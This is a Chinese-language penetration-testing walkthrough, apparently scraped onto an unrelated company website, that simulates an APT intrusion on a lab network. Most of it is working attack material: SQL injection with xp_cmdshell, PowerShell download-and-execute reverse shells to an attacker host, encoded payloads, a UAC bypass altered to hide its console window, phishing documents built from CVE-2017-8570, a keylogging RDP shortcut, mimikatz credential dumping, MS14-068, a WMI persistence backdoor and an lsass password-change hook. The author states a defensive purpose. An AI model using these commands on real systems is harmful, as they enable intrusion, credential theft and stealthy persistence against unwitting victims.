歡迎光臨陜西驪山低速風(fēng)機(jī)動(dòng)力制造有限公司官網(wǎng)!

全國(guó)咨詢熱線:

400-8888-888

內(nèi)網(wǎng)穿透教程_內(nèi)網(wǎng)穿透 教程

所屬分類:技術(shù)與研發(fā) 發(fā)布日期:2024-10-16 瀏覽次數(shù):5

  APT攻擊方式花樣繁多,我研究最近內(nèi)網(wǎng)穿透教程的流行的APT攻擊方式,在本地搭建環(huán)境模擬一次簡(jiǎn)單的APT攻擊,在模擬攻擊過(guò)程中發(fā)現(xiàn)網(wǎng)上公布的poc都會(huì)有大大小的缺陷,大多數(shù)poc執(zhí)行過(guò)程中都會(huì)彈出一閃而過(guò)的黑框框,我深入分析這些腳本,修改其中的代碼,使其執(zhí)行的過(guò)程中消除那個(gè)一閃而過(guò)的黑框框,從而讓中招的不會(huì)輕易產(chǎn)生懷疑。我研究的目的是暴露這樣的攻擊過(guò)程,讓更多的人了解這樣的攻擊過(guò)程,從而能夠研究出更有效的防御方法。

  內(nèi)網(wǎng)的拓?fù)?

  拓?fù)湔f(shuō)明內(nèi)網(wǎng)穿透教程

  【1】10.101.101.0/24的網(wǎng)段模擬的是外網(wǎng)的地址

  【2】192.168.101.0/24的網(wǎng)段模擬的是一個(gè)小型企業(yè)的內(nèi)網(wǎng)中的應(yīng)用服務(wù)器網(wǎng)絡(luò)

  【3】192.168.111.0/24的網(wǎng)段模擬的是一個(gè)小型企業(yè)的內(nèi)網(wǎng)中的辦公網(wǎng)絡(luò)

  【4】企業(yè)內(nèi)網(wǎng)可以無(wú)限制的訪問(wèn)到外網(wǎng),但是外網(wǎng)無(wú)法訪問(wèn)到企業(yè)內(nèi)網(wǎng)

  【5】辦公網(wǎng)可以無(wú)限制的訪問(wèn)到應(yīng)用服務(wù)器網(wǎng)絡(luò),但是應(yīng)用服務(wù)器網(wǎng)絡(luò)無(wú)法訪問(wèn)到辦公網(wǎng)絡(luò)

  【6】部分服務(wù)器打了全部的補(bǔ)丁,并且保持正常更新

  日常掃描

  發(fā)現(xiàn)此服務(wù)器開(kāi)放80,82端口,是windows 2008系統(tǒng) 。在80端口發(fā)現(xiàn)有sql注入

  首先看數(shù)據(jù)庫(kù)和數(shù)據(jù)庫(kù)所在的服務(wù)器版本:

  http:/ /10.101.101.13/?page= 1and@@version> 0--

  數(shù)據(jù)庫(kù)是2008r2的,數(shù)據(jù)庫(kù)所在的操作系統(tǒng)是win2008或者win7然后看數(shù)據(jù)庫(kù):

  http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--

  這個(gè)語(yǔ)句測(cè)試數(shù)據(jù)庫(kù)的權(quán)限,發(fā)現(xiàn)有延時(shí),證明是有數(shù)據(jù)庫(kù)的權(quán)限是dba的權(quán)限然后用:

  EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;

  打開(kāi)xp_cmdshell的限制,下面創(chuàng)建一個(gè)臨時(shí)表:

  https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --

  執(zhí)行ipconfig /all并將結(jié)果寫(xiě)入新創(chuàng)建的臨時(shí)表中

  https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --

  讀取結(jié)果:

  https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000))> 0--

  看上去這個(gè)網(wǎng)站是站庫(kù)分離的網(wǎng)站。

  然后用這種方法執(zhí)行“ping 10.101.101.16”,發(fā)現(xiàn)數(shù)據(jù)庫(kù)服務(wù)器可以通外網(wǎng),獲取這些信息之后,我用下面的指令刪除創(chuàng)建的臨時(shí)表

 內(nèi)網(wǎng)穿透教程_內(nèi)網(wǎng)穿透 教程

  https://10.101.101.13/?page=1; droptabletemp; --

  獲取到這么多信息了之后,在自己的機(jī)子上開(kāi)一個(gè)web站點(diǎn),下載nishang的powershell的反彈腳本到自己的web服務(wù)器上:https://github.com/samratashok/nishang ,先在自己的主機(jī)上用nc -lvvp 8888監(jiān)聽(tīng)8888端口,等待反彈連接 。

  然后執(zhí)行

  http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

  我們可以看到執(zhí)行成功

  但是數(shù)據(jù)庫(kù)被降權(quán),權(quán)限不高,現(xiàn)在我把ms15-051的exp上傳到自己的服務(wù)器,用powershell的遠(yuǎn)程加載并執(zhí)行exe的腳本。執(zhí)行這個(gè)exp首先下載powershell的這個(gè)腳本

  https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

  然后執(zhí)行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

  可以看到提權(quán)沒(méi)有成功,并且換一個(gè)exp也沒(méi)有成功

  所以下面上msf繼續(xù)探測(cè) 先開(kāi)啟msf的監(jiān)聽(tīng)功能

  然后執(zhí)行

  http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

  這樣就從數(shù)據(jù)庫(kù)主機(jī)上反彈一個(gè)meterpreter連接了。

  先用

  useauxiliary/scanner/smb/smb_version

  掃描smb來(lái)獲取內(nèi)網(wǎng)的信息

  發(fā)現(xiàn)一個(gè)mail服務(wù)器,用

  useauxiliary/scanner/portscan

  掃描一下端口 ,發(fā)現(xiàn)開(kāi)放了80端口,25,110端口

  我用 use auxiliary/server/socks4a 代理進(jìn)內(nèi)網(wǎng)

  在烏云鏡像里面沒(méi)有找到可以用的洞,但是在82端口發(fā)現(xiàn)了驚喜

  通過(guò)弱口令輕松進(jìn)入到后臺(tái),發(fā)現(xiàn)一個(gè)可以生成靜態(tài)站的地方

  把自定義靜態(tài)頁(yè)面存儲(chǔ)主路徑改成1.asp,然后編輯一篇文章,把木馬代碼放進(jìn)去,重新生成靜態(tài)頁(yè)面就可以getshell了

  這個(gè)服務(wù)器的82端口不能執(zhí)行cmd,不支持aspx,不能跨目錄到umail,但是在一個(gè)奇怪的地方發(fā)現(xiàn)一個(gè)一份企業(yè)通訊錄,下載下來(lái)看到管理員郵箱

  于是想到用偽造郵件的方法來(lái)釣管理員 首先參考兩個(gè)文章:

  https://www.freebuf.com/vuls/144054.html

  https://www.91ri.org/15506.html

  >>>>

  第一種方法

  首先用CVE-2017-8570給的exp做一個(gè)釣魚(yú)用的ppsx 。由于原來(lái)的exp要用poershell下載一個(gè)shell.exe再執(zhí)行,這樣容易被殺軟發(fā)現(xiàn),并且原來(lái)的exp執(zhí)行反彈回來(lái)的shell權(quán)限不夠,所以要考慮繞過(guò)uac,讓管理員點(diǎn)擊惡意的ppsx后靜默反彈一個(gè)高權(quán)限的shell。如果用nishang給的Invoke-PsUACme.ps1,執(zhí)行之后會(huì)有一個(gè)一閃而過(guò)的黑框框,很讓人感到懷疑,去掉這個(gè)一閃而過(guò)的黑框框很簡(jiǎn)單,因?yàn)槲矣胦obe的方法在win7上繞過(guò)uac,所以我在這里只介紹在這種條件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”這個(gè)代碼,之后在調(diào)用Invoke-PsUACme的時(shí)候-payload參數(shù)寫(xiě)上你要執(zhí)行的命令,最后用rundll32.exe靜默啟動(dòng)C:/Windows/System32/oobe/setupsqm.exe

  IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")

  換掉原來(lái)exp里面的powershell調(diào)用語(yǔ)句 其中uacchm.ps1的內(nèi)容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

  而其中enc后面的數(shù)據(jù)是經(jīng)過(guò)下面的代碼編碼而成:

  $command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

  編碼的內(nèi)容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  chm.ps1的內(nèi)容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  改好的exp我放在了

  https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py

  用法是:先生成一個(gè)惡意的ppsx

  python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc

  在82端口開(kāi)啟服務(wù)

  pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16

  Ps: 好多時(shí)候這個(gè)漏洞復(fù)現(xiàn)不成功,可以將查看 文件 -> 選項(xiàng),點(diǎn)擊 信任中心設(shè)置:

  去掉這些勾就好

  >>>>

  第二種方法

  這個(gè)比較簡(jiǎn)單: 用easy chm做一個(gè)惡意的chm就好

  其中我做的test.html放在了

  https://github.com/niexinming/safe_tool/blob/master/test.html

  Ps:由于PARAM的value的長(zhǎng)度似乎有某種限制,所以我把

  IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64

  編碼之后放入PARAM的value中

  兩個(gè)惡意的文件都制作好了,我現(xiàn)在用swaks偽造郵件把這兩個(gè)文檔發(fā)送出去

  現(xiàn)在靜靜等待管理員點(diǎn)擊我們的惡意文件,啟動(dòng)msf的exploit/multi/handler模塊時(shí)候用exploit -j就可以讓msf在后臺(tái)等待管理員上鉤了。 這個(gè)時(shí)候發(fā)現(xiàn)一個(gè)管理員中了我們的木馬

  由于bypass了uac,所以返回的是管理員的shell,我們可以用mimikatz來(lái)把密碼脫出來(lái)看看

  由于管理員的機(jī)子不屬于任何域,也不是域賬號(hào)登陸,所以,我需要獲取他的在遠(yuǎn)程登陸其他機(jī)子的時(shí)候的用戶名和密碼,根據(jù) 《解析制作俄羅斯APT組織使用的快捷方式后門(mén)文件》這篇文件的介紹,我希望替換遠(yuǎn)程桌面的快捷方式來(lái)監(jiān)視管理員的行為。

  思路是:

 ?。?)正常啟動(dòng)c:windowssystem32mstsc.exe,避免管理員懷疑 ;

  (2)由于原來(lái)的exp一啟動(dòng)就會(huì)有個(gè)黑框框一閃而過(guò),要用rundll32的方式來(lái)消除黑框框,讓惡意代碼靜態(tài)啟動(dòng);

 ?。?)參數(shù)部分要先加260個(gè)空格字符后面接著為payload代碼,這樣減小管理員查看屬性的時(shí)候看到payload而產(chǎn)生懷疑 ;

 ?。?)參考 《滲透技巧——如何巧妙利用PSR監(jiān)控Windows桌面》 這個(gè)文章靜默啟動(dòng)一個(gè)桌面步驟記錄程序 ;

 ?。?)利用PowerSploit的Get-Keystrokes.ps1的腳本來(lái)記錄鍵盤(pán)記錄

 ?。?)記錄一分鐘后把記錄的文件隱藏起來(lái)

 ?。?)啟動(dòng)metasploit的反彈連接

 ?。?)修改圖標(biāo)(關(guān)于C:Windowssystem32SHELL32.dll的圖標(biāo)id,有個(gè)網(wǎng)站給的很全面,可以修改傳遞給圖標(biāo)id來(lái)修改圖標(biāo))

  我把修改好的代碼放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,遠(yuǎn)程加載的惡意的powershell代碼放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好惡意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了。

  >>>>

  使用方法

  看著已經(jīng)生成好了,看一下效果

  看著比較正常,用起來(lái)也很正常,沒(méi)有卡頓,沒(méi)有一閃而過(guò)的黑框 。如果管理員用到遠(yuǎn)程登陸快捷方式去遠(yuǎn)程登陸服務(wù)器的話,在c:windowstemp目錄下會(huì)生成log.dll,這個(gè)里面記錄的是鍵盤(pán)記錄,cap.zip記錄的是關(guān)鍵步驟截屏

  等管理員啟動(dòng)的惡意的遠(yuǎn)程登陸快捷方式之前,可以用管理員的密碼在應(yīng)用服務(wù)器網(wǎng)段內(nèi)用use auxiliary/scanner/smb/smb_login碰碰運(yùn)氣

  

  看上去運(yùn)氣不佳啊

  等了幾天,發(fā)現(xiàn)在這個(gè)目錄下有這個(gè)東西了

  下載之后看到,鍵盤(pán)記錄:

  下面是屏幕截圖記錄

  這樣我就獲得了一個(gè)普通域賬號(hào)的賬戶名和密碼 。

  下面試試MS14-068這個(gè)漏洞能不能成功,參考文章:

  https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/用proxychain執(zhí)行g(shù)oldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻擊

  Ps: 攻擊的時(shí)候如果dns在內(nèi)網(wǎng)要記得hosts的地址綁定

  用得到的shell反彈一個(gè)poweshell出來(lái)到本地8888端口,如果你用下面的語(yǔ)句反彈的話將得到是一個(gè)32位的powershell:

  powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888

  這個(gè)時(shí)候你運(yùn)行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

  系統(tǒng)會(huì)報(bào)錯(cuò),原因是你不能在32位的shell中運(yùn)行64位的程程序,這里涉及到一個(gè)64位系統(tǒng)文件重定向的問(wèn)題,參考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正確的做法是使用下面的代碼來(lái)反彈一個(gè)64位的powershell

  C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

  這個(gè)時(shí)候你運(yùn)行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat

  你就會(huì)得到域控管理員的密碼下面我要在域控上面安裝一個(gè)隱蔽的后門(mén),參考文章:

  https://www.moonsec.com/post-621.html

  https://www.secpulse.com/archives/39555.html

  https://wooyun.jozxing.cc/static/drops/tips-15575.html

  我利用三好學(xué)生的方法制作一個(gè)wmi的后門(mén),首先: 在自己的web目錄下寫(xiě)一個(gè)mof.ps1,這個(gè)文件作用是用利用wmi的定時(shí)器的功能讓系統(tǒng)每分鐘執(zhí)行一次我們的payload,這個(gè)mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。

  我還寫(xiě)了一個(gè)可以劫持進(jìn)程的powershell腳本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,這里我用每分鐘執(zhí)行payload的這個(gè)腳本,這里的我的payload我用一個(gè)反彈meterpreter連接的腳本,mof.txt里面的內(nèi)容:

  <?xml version="1.0"?>

  <![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>

  enc編碼前的內(nèi)容依然是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  執(zhí)行之后,每分鐘會(huì)反彈一個(gè)meterpreter的shell,而且重啟后依然會(huì)反彈

  Ps: 這個(gè)wmi的后門(mén)我在win10上實(shí)驗(yàn)的時(shí)候,不能執(zhí)行payload,如果觸發(fā)到后門(mén)的觸發(fā)條件的話,win10會(huì)彈出openwith.exe這個(gè)進(jìn)程,界面上看就是這個(gè)

 內(nèi)網(wǎng)穿透教程_內(nèi)網(wǎng)穿透 教程

  查了兩天資料也沒(méi)有找到一個(gè)正經(jīng)的解決方法,但是后來(lái)把openwith.exe換成cmd.exe就可以執(zhí)行payload了,因?yàn)閣in7和win2008沒(méi)有openwith,所以沒(méi)有遇到什么阻力就直接執(zhí)行payload了,但是win10和win8在正常情況下就會(huì)打開(kāi)openwith這個(gè)后門(mén)的清理方式,可以參考https://www.52pojie.cn/thread-607115-1-1.html

  我還想放置一個(gè)后門(mén),在域控管理員改密碼的時(shí)候記錄他的新密碼,參考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的腳本里面有一個(gè)選項(xiàng)可以從你的web服務(wù)器加載一個(gè)dll到對(duì)方主機(jī)內(nèi)存里面,這樣你把你的dll生成好之后就可以放在你的web服務(wù)器下面,在這個(gè)ps1最下面加入

  Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass

  就可以了,然后你把這個(gè)腳本的調(diào)用加入到chm.ps1里面:下面是改動(dòng)之后chm.ps1里面的內(nèi)容:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  這樣就可以任何時(shí)候每隔一分鐘的時(shí)候可以一方面反彈一個(gè)meterpreter的連接,還可以在域管理員改密碼的時(shí)候記錄他的新密碼

  本文介紹了web滲透,郵件釣魚(yú),后門(mén)部署等奇技淫巧,尤其針對(duì)消除各種一閃而過(guò)的cmd彈窗給出了我自己的解決思路,如果有問(wèn)題大家可以在評(píng)論區(qū)留言,我們共同探討。

(來(lái)源:亞信安全)

評(píng)論列表

還沒(méi)有評(píng)論,快來(lái)說(shuō)點(diǎn)什么吧~

發(fā)表評(píng)論

真誠(chéng)期待與您的合作

獲取報(bào)價(jià)·了解更多業(yè)務(wù)·7*24小時(shí)專業(yè)服務(wù)

聯(lián)系我們